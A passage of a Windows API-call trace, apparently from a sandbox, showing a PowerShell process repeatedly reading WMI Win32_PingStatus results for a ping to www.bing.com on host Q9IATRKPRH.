lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.273] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.274] EtwEventActivityIdControl () returned 0x0 [0140.274] EtwEventActivityIdControl () returned 0x0 [0140.274] EtwEventActivityIdControl () returned 0x0 [0140.274] EtwEventActivityIdControl () returned 0x0 [0140.274] EtwEventActivityIdControl () returned 0x0 [0140.274] EtwEventActivityIdControl () returned 0x0 [0140.275] EtwEventActivityIdControl () returned 0x0 [0140.275] EtwEventActivityIdControl () returned 0x0 [0140.275] EtwEventActivityIdControl () returned 0x0 [0140.275] EtwEventActivityIdControl () returned 0x0 [0140.276] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0140.276] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0140.276] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.276] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0140.276] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0140.276] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.276] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0140.276] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0140.276] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0140.276] SafeArrayGetLBound (in: psa=0x5cea1f0, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0140.276] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.276] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.276] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.276] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.276] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.276] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.276] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.277] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.277] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.277] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.277] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.277] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.277] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.277] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.277] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.277] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.277] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.277] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.277] SysStringByteLen (bstr="__PATH") returned 0xc [0140.277] SysStringByteLen (bstr="__PATH") returned 0xc [0140.277] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28823a4*=0, plFlavor=0x28823a8*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28823a4*=3, plFlavor=0x28823a8*=64) returned 0x0 [0140.277] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28823d8*=0, plFlavor=0x28823dc*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28823d8*=8, plFlavor=0x28823dc*=64) returned 0x0 [0140.277] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.278] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.278] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882430*=0, plFlavor=0x2882434*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882430*=8, plFlavor=0x2882434*=64) returned 0x0 [0140.278] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882458*=0, plFlavor=0x288245c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2882458*=8, plFlavor=0x288245c*=64) returned 0x0 [0140.278] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.278] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.278] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28824b0*=0, plFlavor=0x28824b4*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28824b0*=8, plFlavor=0x28824b4*=64) returned 0x0 [0140.278] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.278] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.279] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882694*=0, plFlavor=0x2882698*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2882694*=3, plFlavor=0x2882698*=64) returned 0x0 [0140.279] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28826c8*=0, plFlavor=0x28826cc*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28826c8*=8200, plFlavor=0x28826cc*=64) returned 0x0 [0140.279] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28826fc*=0, plFlavor=0x2882700*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28826fc*=8, plFlavor=0x2882700*=64) returned 0x0 [0140.279] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.279] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.279] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882748*=0, plFlavor=0x288274c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2882748*=8, plFlavor=0x288274c*=64) returned 0x0 [0140.279] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.279] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.280] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882794*=0, plFlavor=0x2882798*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2882794*=8, plFlavor=0x2882798*=64) returned 0x0 [0140.280] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.280] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0140.280] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0140.280] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.280] IWbemClassObject:Get (in: This=0x5ccc608, wszName="BufferSize", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28829c8*=0, plFlavor=0x28829cc*=0 | out: pVal=0x59fe778*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x28829c8*=19, plFlavor=0x28829cc*=0) returned 0x0 [0140.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0140.280] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0140.280] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0140.280] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0140.280] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.280] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0140.281] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0140.281] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0140.281] SafeArrayGetLBound (in: psa=0x5cea100, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0140.281] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.281] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.281] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.281] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.281] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.281] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.281] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.281] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.281] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.281] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.281] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.281] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.281] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.281] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.281] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.281] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.281] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.281] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.282] SysStringByteLen (bstr="__PATH") returned 0xc [0140.282] SysStringByteLen (bstr="__PATH") returned 0xc [0140.282] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882d7c*=0, plFlavor=0x2882d80*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2882d7c*=3, plFlavor=0x2882d80*=64) returned 0x0 [0140.282] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882db0*=0, plFlavor=0x2882db4*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2882db0*=8, plFlavor=0x2882db4*=64) returned 0x0 [0140.282] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.282] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.282] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882e08*=0, plFlavor=0x2882e0c*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882e08*=8, plFlavor=0x2882e0c*=64) returned 0x0 [0140.282] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882e30*=0, plFlavor=0x2882e34*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2882e30*=8, plFlavor=0x2882e34*=64) returned 0x0 [0140.282] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.282] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.283] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2882e88*=0, plFlavor=0x2882e8c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2882e88*=8, plFlavor=0x2882e8c*=64) returned 0x0 [0140.283] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.283] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.283] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883060*=0, plFlavor=0x2883064*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2883060*=3, plFlavor=0x2883064*=64) returned 0x0 [0140.283] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883094*=0, plFlavor=0x2883098*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2883094*=8200, plFlavor=0x2883098*=64) returned 0x0 [0140.283] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28830c8*=0, plFlavor=0x28830cc*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28830c8*=8, plFlavor=0x28830cc*=64) returned 0x0 [0140.284] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.284] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.284] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883114*=0, plFlavor=0x2883118*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2883114*=8, plFlavor=0x2883118*=64) returned 0x0 [0140.284] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.284] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.284] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883160*=0, plFlavor=0x2883164*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2883160*=8, plFlavor=0x2883164*=64) returned 0x0 [0140.284] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.284] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0140.284] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0140.284] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.284] IWbemClassObject:Get (in: This=0x5ccc608, wszName="BufferSize", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883394*=0, plFlavor=0x2883398*=0 | out: pVal=0x59fe7ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2883394*=19, plFlavor=0x2883398*=0) returned 0x0 [0140.285] IWbemClassObject:Get (in: This=0x5ccc608, wszName="BufferSize", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883394*=19, plFlavor=0x2883398*=0 | out: pVal=0x59fe860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2883394*=19, plFlavor=0x2883398*=0) returned 0x0 [0140.285] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0140.285] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0140.285] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.285] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0140.285] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0140.285] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.285] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0140.285] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0140.285] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0140.285] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0140.286] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.286] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.286] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.286] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.286] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.286] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.286] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.286] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.286] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.286] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.286] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.286] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.286] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.286] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.286] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.286] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.286] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.286] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.286] SysStringByteLen (bstr="__PATH") returned 0xc [0140.287] SysStringByteLen (bstr="__PATH") returned 0xc [0140.287] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28838c0*=0, plFlavor=0x28838c4*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28838c0*=3, plFlavor=0x28838c4*=64) returned 0x0 [0140.287] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28838f4*=0, plFlavor=0x28838f8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28838f4*=8, plFlavor=0x28838f8*=64) returned 0x0 [0140.287] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.287] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.287] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288394c*=0, plFlavor=0x2883950*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288394c*=8, 